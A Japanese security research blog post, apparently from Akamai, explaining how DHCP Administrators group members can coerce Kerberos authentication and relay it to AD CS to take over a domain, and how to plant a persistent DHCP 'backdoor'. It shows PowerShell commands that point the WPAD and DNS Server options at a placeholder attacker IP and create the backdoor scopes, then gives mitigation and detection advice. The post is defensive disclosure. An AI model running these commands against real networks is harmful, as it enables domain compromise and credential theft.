DHCP Administrators グループを悪用した Windows ドメインでの権限昇格
編集・協力：Tricia Howard
エグゼクティブサマリー
Akamai の研究者たちは、Active Directory（AD）環境に影響を与える、DHCP Administrators グループを利用した新しい権限昇格手法を発見しました。
DHCP サーバーロールがドメインコントローラー（DC）にインストールされている場合、ドメイン管理者権限を取得できる可能性があります。
この手法は、正当な機能の悪用に基づいており、いかなる脆弱性にも依存しません。そのため、これに対する修正は存在しません。
権限昇格プリミティブを提供するだけでなく、ステルスドメイン永続化メカニズムを作成するためにも同じ手法を使用できます。
Microsoft DHCP サーバーは広く使用されており、Akamai の監視対象ネットワークの 40% で実行されていることが確認されました。このサーバーを実行している環境は、脆弱である可能性があります。
この記事では、この手法によってもたらされるリスクを大幅に軽減し、悪用の可能性を特定し、悪用を可能にする構成を特定するための詳細な手順を説明します。
はじめに
Google Docs から Active Directory まで、アクセス管理は組織内のすべての役割に影響を及ぼします。権限とアクセス制御を決定する際には、不要なリスクを増やさずに従業員の不満を最小限に抑えるという絶妙なバランスが求められます。セキュリティチームはこの苦しい状況を痛いほど認識しています。
そのため、「必要なアクセス」を正確に見極めることがあらゆるアクセス戦略の重要な要素となっています。つまり、職務を遂行するために必要な一連の権限を各ユーザーに付与する必要がありますが、それ以外の点では可能な限り制限する必要があるということです。これにより、1 人のユーザーが侵害された場合の影響が軽減され、ラテラルムーブメント（横方向の移動）やさらなる悪用が防止され、
ほとんどのリスクは排除されますが、特にエンタープライズレベルでは、アイデンティティごとのアクセス管理は現実的ではなく、実現可能ではありません。それに対して、ユーザー・アクセス・グループは職能に基づいて権限を一般化します。これは、AD で最もよく見られる概念です。たとえば、Microsoft は DNS サーバーの管理を担当する AD グループである「DNS Admins」グループを提供します。「必要なアクセスのみ」の原則に従い、そのメンバーには DNS サーバーをホストするマシンに対する権限はなく、DNS サービス関連の設定に対する権限のみがあります。
これは理論的には機能しますが、実際には話が違ってきます。Shay Ber 氏の 2017 年の調査 では、 「DNS Admins」グループのメンバーがグループの権限の 1 つを悪用して DNS サーバー上でコードを実行できることが明らかにされており、これはほぼ必ずドメイン管理者への権限昇格につながります。
Microsoft DHCP には、「DHCP Administrators」（DHCP 管理者）と呼ばれる同様のセキュリティグループが用意されています。Microsoft DHCP に関する Akamai の 最近の 調査 の過程で、このグループを使用する同様のプリミティブを見つけることに関する問題が浮上しました。それは、DHCP 管理者はドメイン管理者になることができるのかということです。結論としては、確かに可能である場合があります。
このブログ記事では、DHCP Administrators グループについて説明し、その権限の 1 つが DHCP サーバーを侵害するためにどのように悪用される可能性があるかを示します。 これには、DHCP サーバーが DC にインストールされている場合の完全なドメインの乗っ取りが含まれます。
また、これと同じ手法を使用して興味深いドメイン永続化メカニズムを確立する方法と、「DHCP バックドア」を設置する方法の詳細を説明します。
この手法では、DHCP 管理者が使用できる正当な権限とオプションが使用されるため、脆弱性が存在せず、したがってパッチのようなシンプルな解決策はありません。この手法によってもたらされるリスクを軽減するために、このブログ記事には詳細な緩和策と検知手順を記載します。
DHCP 管理者とは
DHCP Administrators グループは、Dynamic Host Configuration Protocol（DHCP）サーバーを管理するという目的を持つユーザーの AD グループです。グループのメンバーはリモートサーバー上の DHCP サービスの設定をクエリーおよび変更することができます。
重要なのは、 メンバーには DHCP サーバーマシン自体に対する権限はなく、DHCP サービスの設定に対する権限のみがあるということです。 つまり、DHCP 管理者は DHCP サーバー上でコードを実行 できず 、DHCP 関連の設定を変更できるだけです。DHCP 管理者が制御する設定の 1 つが DHCP オプションです。
DHCP オプションの悪用
ネットワーククライアントは、ネットワークに参加するために、IP アドレスとサブネットマスク、デフォルト・ゲートウェイ・アドレス、DNS サーバーなどの一連の設定を必要とします。DHCP サーバーは、これらの設定を DHCP オプションの形式でクライアントにアドバタイズします。さまざまな設定が、定義されたオプション ID と結合され、クライアントによって照会されます（図 1）。
図 1：DHCP サーバーに設定されている DHCP オプションの例
DHCP クライアントは必要なオプションを要求し、応答に従ってネットワーク設定を変更します。 サーバー上でこれらのオプションの値を制御できるため、クライアントから要求された各オプションが攻撃者によって悪用され、悪性の設定が挿入される可能性があります。
Windows クライアントの潜在的なアタックサーフェスを把握するためには、デフォルトで要求されるオプションを確認します（図 2）。
図 2：DHCP サーバーに設定されている DHCP オプション
Proxy autodiscovery
図 2 の青でハイライトされた部分を見ると、要求される設定の 1 つは「Proxy autodiscovery」オプションであることがわかります。これは、Web プロキシ（WPAD）を自動的に設定するために使用されます。このオプションにより、DHCP サーバーは「wpad.dat」ファイルの URL を指定できます。このファイルには、クライアントが使用するプロキシ設定が含まれています。
以下の PowerShell コマンドを実行することにより、このオプションを設定し、アドレスをプロキシとして指定できます。
Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0
このオプションの設定後、DHCP サーバーからアドレスをリースする際に Windows クライアントが設定を受信します（図 3）。
図 3：サーバーからプロキシ設定を受信する DHCP クライアント
この設定の受信後、DHCP クライアントは HTTP 経由でマシンに接続し、「wpad.dat」ファイルを取得しようとします（図 4）。
図 4：攻撃者のマシンから「wpad.dat」ファイルを要求する DHCP クライアント
WPAD サーバーになりすますことができれば、 複数の攻撃 によってクライアントの認証情報を侵害できる可能性が生まれます。
同様の結果を得るためにターゲットにできる DHCP オプションが他にもあります。この機能は仕様上のものであり、セキュリティ上の問題ではありません。DHCP 管理者は、その名のとおり、DHCP を管理することができます。しかし、この管理能力の影響は予想よりも広範に及ぶ場合があります。
DHCP DNS Server オプション
悪用される可能性のあるさまざまな DHCP オプションを分析していたところ、別のオプションが目に留まりました。それは、 DNS Server オプションです。上述の攻撃と同様に、DHCP 管理者は DNS サーバーアドレスと DNS 応答をスプーフィングして、Machine-in-the-Middle（MITM）のポジションを確立できます。しかし実際のところ、このオプションはそれだけではありません。
通常、DHCP オプションは要求元のクライアントにデータを提供するために使用されます。興味深いことに、DNS Server オプションは別の目的に使用されます。その値は、 DHCP DNS 動的更新 の宛先として使用されるのです（図 5）。
図 5：DNS Server オプションによる DHCP DNS 動的更新プロセスへの影響
なぜこれが興味深いのでしょうか？Microsoft DNS サーバーと Windows DNS クライアントは、 安全な動的更新という動的更新機能をサポートしています。この機能が有効になっている場合（デフォルトで有効）、サーバーで DNS 更新を実行する前に DNS クライアントを認証する必要があります。この認証は、DNS 経由で Kerberos を使用して実行されます。
DHCP 管理者アカウントを使用すると、DHCP サーバー上で DNS Server オプションを制御し、選択したアドレスに対して認証を行うことができます。図 6 の手順は、これがどのように行われるかを示しています。
図 6：DHCP リースによるサーバーの Kerberos 経由でのクライアント認証
ターゲット DHCP サーバー上で、IP アドレス（172.25.14.19）を DNS Server オプションとして設定します。
自分のマシンから、 FQDN オプションを指定しながら IP アドレスをリースします。この例では、FQDN「aaa.aka.test」を指定します。これにより、DHCP DNS 動的更新がトリガーされます。
自分のマシンが DNS サーバーと見なされ、DHCP サーバーから DNS「Start of Authority」（SOA）クエリーが送信されます。このクエリーにより、DHCP サーバーは「aaa.aka.test」の権威サーバーである DNS サーバーを特定します。
DHCP サーバーから届いた SOA クエリーに応答し、自分のマシンをレコード「aaa.aka.test」の権威 DNS サーバーとして指定します。
DHCP サーバーから DNS 動的更新が送信され、レコードの作成が試みられます。この更新の試みは認証されません。
この認証されない更新を拒否することで、サーバーによる認証の試行をトリガーします。
DHCP サーバーにより、TKEY クエリーを送信することによって実行される DNS 経由の Kerberos 認証が行われ、自分のマシンが認証されます。
図 7 はこの手法の実例のキャプチャです。
図 7：DHCP リースとそれに続く DNS トラフィックのパケットキャプチャ
私たちはこの手法を DHCP 強制と呼んでおり、これによって任意の DHCP サーバーに自分のマシンを認証されることができるため、Kerberos 認証強制プリミティブを獲得できます。
DHCP セキュリティに関する疑問を抱えていませんか？
DHCP 強制による Kerberos リレー
DHCP 強制により、 Kerberos リレー 攻撃の機会が生まれます。攻撃者は自身のマシンに対する認証を強制して、リレー攻撃を実行し、DHCP サーバー・マシン・アカウントになりすますことができます。これにより、DHCP Administrators グループに含まれる権限に制限されることなく、サーバー自体を完全に制御できます。
Kerberos リレーのターゲットは多少制限されますが、 Dirk Jan 氏のブログ記事で説明されているとおり、Kerberos リレーを使用して Active Directory 証明書サービス（AD CS）をターゲットにすることができます。
AD CS は、Active Directory 環境に PKI ソリューションを提供する一連のサービスです。AD との関連において、この PKI の主な使用目的は、証明書ベースの認証を有効にすることです。AD CS を使用することで、ユーザーは自身に証明書を発行し、ドメイン内のリソースに対する認証に使用できます。
この証明書の発行方法の 1 つが、 Web 登録サービス （クライアントが証明書を要求するために使用できる Web サービス）です。デフォルトでは、このサービスはメッセージの完全性を検証しないため、Kerberos リレー攻撃に対して脆弱です。この問題は ESC8 と呼ばれており、SpectterOps の Will Schroeder 氏と Lee Christensen 氏が実施した AD CS に関する調査 で言及されています。
ESC8 と強制プリミティブを組み合わせることで、DHCP サーバーの侵害を可能にする攻撃チェーン（図 8）を作成できます。
図 8：DHCP 強制の攻撃チェーン全体
前のセクションで説明したように、DHCP Administrator を使用して、攻撃者のマシンへの Kerberos 認証を強制します。
Krbrelayx.py を使用して AD CS に対する認証をリレーし、DHCP サーバー・マシン・アカウントの証明書を取得します。
この証明書を使用して、DHCP サーバー・マシン・アカウントの NTLM ハッシュを取得します。これは、 SpecterOps の調査結果 で THEFT5と呼ばれている手法です。
NTLM ハッシュを使用して、DHCP サーバー・マシン・アカウントとして認証し、コードを実行します。
手順 2～4 の詳細については、Dirk Jan 氏のブログ記事「 Relaying Kerberos over DNS using krbrelayx and mitm6 」（krbrelayx と mitm6 を使用した DNS 経由の Kerberos リレー）を参照してください。
要約すると、 環境で AD CS が使用されている場合、DHCP 管理者アカウントは任意の DHCP サーバーでコードを実行できます。 これは問題です。
DHCP サーバーは DC にインストールされることが非常に多く、Microsoft DHCP サーバーを使用していることが確認されているネットワークのうち、57% が DC に DHCP サーバーをインストールしています。このような場合、DC マシンアカウントを乗っ取ることにより、 DHCP 管理者はドメイン全体を侵害できます 。
DNS 認証情報に関する注意事項
前述の攻撃では、DNS 更新を実行する際に DHCP サーバーが自身のマシンアカウントを使用して認証を行います。Microsoft が推奨するベストプラクティスの 1 つは、弱いユーザーを DHCP サーバーの DNS 認証情報 として設定し、マシンアカウントの代わりにこの認証情報を使用して更新を実行することです。
この設定により、リレー攻撃を無効化できる可能性があります。 サーバーのマシンアカウントを侵害するのではなく、弱いユーザーの権限を取得することになります。
幸いにも、私たちは DHCP 管理者です。 DHCP 管理者は、認証情報自体を知らなくても、既存の DNS 認証情報を削除できます。 これを行うためには、 Remove-DhcpServerDnsCredential PowerShell コマンドを使用します。DNS 認証情報の削除後、DHCP サーバーはデフォルトに戻り、マシンアカウントを使用して更新を行います。
DHCP ドメインの永続化
DHCP Administrators グループを悪用して DHCP サーバー上でコードを実行するだけでなく、上述の手法を武器にして、興味深いドメイン永続化メカニズムを作成することもできます。
一度 DNS サーバーオプションを設定すれば、認証を強制するために認証情報は必要なくなります。攻撃者は DHCP サーバーから IP アドレスをリースするだけで済みます。 これにより、攻撃者は ドメインの外部から 認証情報なしで DHCP 強制攻撃を実行できるようになります。
DHCP バックドアスコープ
DHCP スコープとは、DHCP がリースできる特定のサブネット内の定義済みの IP アドレスのセットです。DHCP オプションはスコープごとに設定できるため、さまざまなサブネットに対して異なる設定を行うことができます。
DHCP 強制を実行するためには、攻撃者はいずれかの DHCP スコープで DNS Server オプションを変更する必要があります。当然、これに既存のスコープを使用したくはありません。既存のスコープの DNS Server オプションを変更すると、この設定が DHCP クライアントに渡されて、通信の問題が発生し、バックドアが検知される可能性があります。
そうではなく、ネットワークのどのサブネットでも使用されていないアドレス範囲を使用して、専用のスコープを作成します（図 9）。
図 9：「バックドア」DHCP スコープの作成
しかし、DHCP サーバーのスコープ選択ロジックに基づくこのアプローチには問題があります。クライアントが IP アドレスをリースする際、サーバーはクライアントの送信元サブネットに基づいて使用する DHCP スコープを決定します。このサブネットは、DHCP Discover メッセージを受信したネットワークインターフェースによって識別されます（図 10）。
図 10：ネットワークインターフェースに基づく DHCP スコープ選択
バックドアをトリガーするためには、悪性のスコープから IP アドレスをリースする必要があります。これを行うためには、攻撃者はこのスコープにリンクされているサブネットに存在する必要があります。同時に、クライアントの接続が切断されるのを避けるために、スコープがネットワーク内の既存のサブネットにリンクされないようにします。しかし、これら 2 つの要件は相反しています。スコープが既存のサブネットにリンクされていない場合、攻撃者はそのサブネットに到達できません。スコープが既存のサブネットにリンクされている場合は、他のクライアントからも到達できます。幸いにも、DHCP リレーエージェントが救いの手を差し伸べてくれます。
DHCP リレーエージェント
この問題の解決策は、 DHCP リレーエージェント機能 にあります。DHCP リレーエージェントは、クライアントがローカルネットワークに存在しない場合でも、DHCP サーバーから IP アドレスをリースできるようにするためのサーバーです（図 11）。
図 11：リレーエージェントを利用した DHCP リースプロセス
リレーエージェントは、クライアントからの DHCP ブロードキャストメッセージをリッスンし、クライアントの代わりに DHCP サーバーにリレーします。DHCP リレーエージェントは、 Relay Agent Information DHCP オプションを介してクライアントの送信元サブネットを DHCP サーバーに通知することにより、IP アドレスをリースする際に使用する正しいスコープをサーバーが判断できるようにします。
この機能により、DHCP サーバーのインターフェースに関係なく、DHCP リレーエージェントが任意のスコープから IP アドレスを要求できるようになることがわかりました。攻撃者はリレーエージェントとして Relay Agent Information オプションで任意のサブネットを示すことで、任意のスコープから IP アドレスをリースすることができます（図 12）。
図 12：DHCP リレーエージェントとして機能することによる指定スコープからの IP アドレスのリース
最後に考慮すべき注意点が 1 つあります。それは、リレーサーバー自体の IP アドレスはサーバー上の既存のスコープの一部でなければならないということです。これは、不正なクライアントがサーバーにアクセスできないようにするためです。これを克服するためには、 Microsoft の推奨 に従い、外部 IP アドレスを含む専用のスコープを作成して、リレーとして機能することを不正に「許可」します。
DHCP リレー・エージェント・オプションの悪用
潜在的なバックドア（図 13）は、次の 2 つのスコープで構成されます。
認可スコープ。攻撃マシンが DHCP リレーエージェントとして機能することを許可するためのスコープ。その IP 範囲には外部攻撃マシンの IP アドレスが含まれます。
- 強制スコープ。IP アドレスをリースするために使用されるスコープであり、攻撃マシンに対する Kerberos 認証試行をトリガーします。DNS Server オプションは外部攻撃マシンの IP で設定され、その IP 範囲はネットワークで使用されない任意の範囲にすることができます。
図 13：DHCP バックドアの設計
以下の PowerShell コードは、これらのスコープを作成する方法を示しています。
Import-Module DhcpServer
Add-DhcpServerv4Scope -StartRange <attacker_ip> -EndRange <attacker_ip> -Name " " -SubnetMask <mask>
Add-DhcpServerv4Scope -StartRange <coercion_scope_address> -EndRange <coercion_scope_address> -Name " " -SubnetMask <mask>
Set-DhcpServerv4OptionValue -OptionId 6 -Value <attacker_ip> -Force -ScopeId <coercion_scope_address>
バックドアをトリガーするためには、DHCP サーバーからアドレスをリースし、次の調整を行います。
リレーエージェントの IP アドレス（giaddr）DHCP フィールド内の IP アドレスを使用します。このフィールドは、DHCP サーバーにリレーエージェントの IP アドレスを通知するために使用されます。この IP は「認可スコープ」内にある必要があります。
「強制スコープ」内に IP アドレスを持つ Relay Agent Information オプションを含めます。
図 14 では、認可スコープに IP アドレス 172.25.14.18 が含まれています。また、強制スコープには、アドレス 66.66.66.66 が含まれています。
図 14：リレーエージェントとして機能しているときの DHCP Discover 調整
私たちは DDSpoof（ DHCP DNS スプーフィングツールキット）にリレー・エージェント・サポートを追加し、この攻撃を実行できるようにする dhcp_coerce.py という概念実証スクリプトを作成しました。このスクリプトは DHCP リレーエージェントとして機能して、要求されたスコープから IP アドレスを要求し、強制スコープを通じて認証強制をトリガーできるようにします（図 15）。
図 15：DDSpoof を利用した DHCP バックドアのトリガー
緩和策
この脅威に対する防御策として、次のものが挙げられます。
危険な DHCP 設定の特定
AD CS に対するリレー攻撃の緩和
DHCP Administrators グループの衛生管理の実行
セグメンテーションによるアタックサーフェスの削減
DNS の異常の特定
危険な DHCP 設定の特定
Invoke-DHCPCheckup.ps1 は、危険な DHCP 設定を特定するのに役立ちます。DHCP 強制攻撃チェーンに関する最も重大なリスクは、DC に DHCP サーバーをインストールすることであり、この設定は回避することが推奨されます。
Invoke-DHCPCheckup を実行して、アクティブな Microsoft DHCP サーバーをすべてリストアップし、DC にインストールされているサーバーを特定します（図 16）。可能であれば、すべての DC で DHCP サーバーサービスを無効にします。
図 16：Invoke-DHCPCheckup による DC にインストールされている DHCP サーバーの特定
AD CS に対するリレー攻撃の緩和
この攻撃チェーンを防ぐ最も効果的な方法は、AD CS サーバーに対するリレー攻撃を緩和することです。そうすることにより、認証強制プリミティブを悪用する能力を低下させます。
リレー攻撃やそのバリエーションである AD CS に対するリレー攻撃のリスクは新たに発生したものではなく、Microsoft にも知られています。 認証の拡張保護（EPA） はそのような攻撃を防ぐために導入された機能ですが、デフォルトでは AD CS に対して有効になっていません。AD CS へのリレー攻撃のリスクを緩和するためには、HTTP を無効にして、 すべての AD CS サーバーで EPA 機能を有効にします。
DHCP Administrators グループの衛生管理の実行
DHCP Administrators グループのメンバーは DHCP クライアントおよびサーバーを侵害する可能性があるため、このグループは高価値資産として扱い、それに応じて監視する必要があります。DHCP Administrators グループのメンバーシップを可能な限り制限して、管理者ユーザーによる侵害のリスクを軽減します。 場合によっては、より限定的な DHCP ユーザーグループを使用することを検討します。
セグメンテーションによるアタックサーフェスの削減
これまでに紹介した防御策に加えて、ネットワークセグメンテーションを使用することで、攻撃を緩和し、アタックサーフェスを減らし、同様の攻撃を受ける可能性を抑えることができます。
Akamai Guardicore Segmentationを使用することで、防御者は次のことを行えます。
管理者以外のエンドポイントから DHCP サーバーへの RPC トラフィックをブロック し、DHCP オプションを変更できないようにします。DHCP 管理者が使用するエンドポイントを含むラベルを作成し、このラベルだけが非 DHCP ポートを介して DHCP サーバーと通信できるようにします。
AD CS 登録サーバーへのアクセスを必要としないエンドポイントによる AD CS 登録サーバーへのアクセスをブロックすることで、リレー攻撃を実行する能力を抑制します。AD CS を使用して証明書を発行する必要のあるエンドポイントを含むラベルを作成し、このラベルだけが Web 登録サーバーと通信できるようにします。
インターネットとの間の DHCP トラフィックをブロックし、外部マシンが DHCP 認証を強制できないようにします。すべての DHCP サーバーのラベルを作成し、インターネットアドレスとのすべての通信をブロックします。
DNS の異常の特定
この攻撃は、DHCP サーバーに標準の AD DNS サーバーとは異なるアドレスへの DNS 更新要求の送信を強制することによって行われます。通常、このタイプのトラフィックは静的であるため、このふるまいは極めて異常です。この異常なトラフィックのふるまいは、この攻撃や DNS 経由の Kerberos 認証を悪用するその他の攻撃を検知する機会となります。
このような異常を特定するためには、AD にクエリーを行うか DNS トラフィックを監視するかのいずれかによって、DNS 更新を受信する必要のある正当な DNS サーバーのリストを作成します。このリストに含める DNS サーバーは最小限に抑え、正当なトラフィックのベースラインとして使用します。このリストに含まれていない DNS サーバーについては、特にインターネットアドレスが含まれている場合、調査する必要があります。
Akamai Hunt（Akamai のマネージド型脅威ハンティングサービス）は、さまざまな異常検知の手法で環境を常に監視して未知の脅威の検知を試みるという形で、お客様を保護します。
結論
悪性の権限昇格は、特に正当なプロセスを利用する場合、壊滅的な結果をもたらす可能性があります。現代のセキュリティ専門家は、ユーザーにとっての不便を最小限に抑えながら強力なセキュリティ制御を実現するという大きなジレンマを抱えています。IoT（モノのインターネット）、分散したモバイルワーカー、新旧両方の脆弱性を悪用した絶え間ない攻撃により、現在はアクセス戦略を管理することがかつてないほど重要になっています。
DHCP Administrators グループは、この概念の顕著な例です。メンバーには一連の強力な権限が与えられますが、その権限は攻撃者に悪用される可能性もあります。特にセキュリティの観点では、良かれと思って作られた機能さえも悪用される可能性があります。
防御者はこの潜在的なリスクを認識し、適切に注意してこのグループを扱う必要があります。この記事で取り上げた背景情報やこの脅威に対する防御策がお役に立てば幸いです。
詳細はこちら
Microsoft DHCP に関連するリスクについてさらに詳しい情報をお求めの場合は、このトピックに関する他のブログ記事もご参照ください。
DHCP DNS 動的更新を悪用した DNS レコードのスプーフィング
Akamai Security Intelligence Group は、この脅威やこれに類似するその他の脅威を継続的に監視し、調査結果を公開します。DHCP に関する最新情報やその他のセキュリティに関する調査結果を常に把握するためには、 X（旧 Twitter）で Akamai をフォロー してください。
